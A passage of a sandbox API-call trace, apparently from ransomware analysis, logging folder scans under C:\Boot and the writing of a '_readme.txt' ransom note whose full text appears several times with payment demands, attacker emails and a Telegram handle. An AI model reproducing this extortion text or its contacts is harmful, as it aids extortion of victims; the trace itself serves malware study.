(HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.466] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.466] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.467] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.467] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.467] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.467] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.467] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.467] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.467] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0116.467] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.467] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.467] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.467] PathFindFileNameW (pszPath="") returned="" [0116.467] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.467] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.467] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.467] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.467] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.467] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.467] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.468] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0116.468] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.468] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.468] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0116.469] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.469] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.469] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.469] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.469] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.469] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.469] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.469] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.469] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.469] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.469] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.469] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.469] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.469] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.469] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.469] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.470] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.471] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0116.471] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.471] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.471] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.471] PathFindFileNameW (pszPath="") returned="" [0116.471] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.471] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.471] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.471] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.471] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.471] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.471] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.471] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.472] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0116.472] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.472] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.472] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0116.472] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.472] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.472] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.472] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.472] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.472] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.472] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.472] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.472] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.473] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.473] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.473] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.473] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.473] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.473] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.473] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.473] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.473] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.473] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.473] RtlAllocateHeap 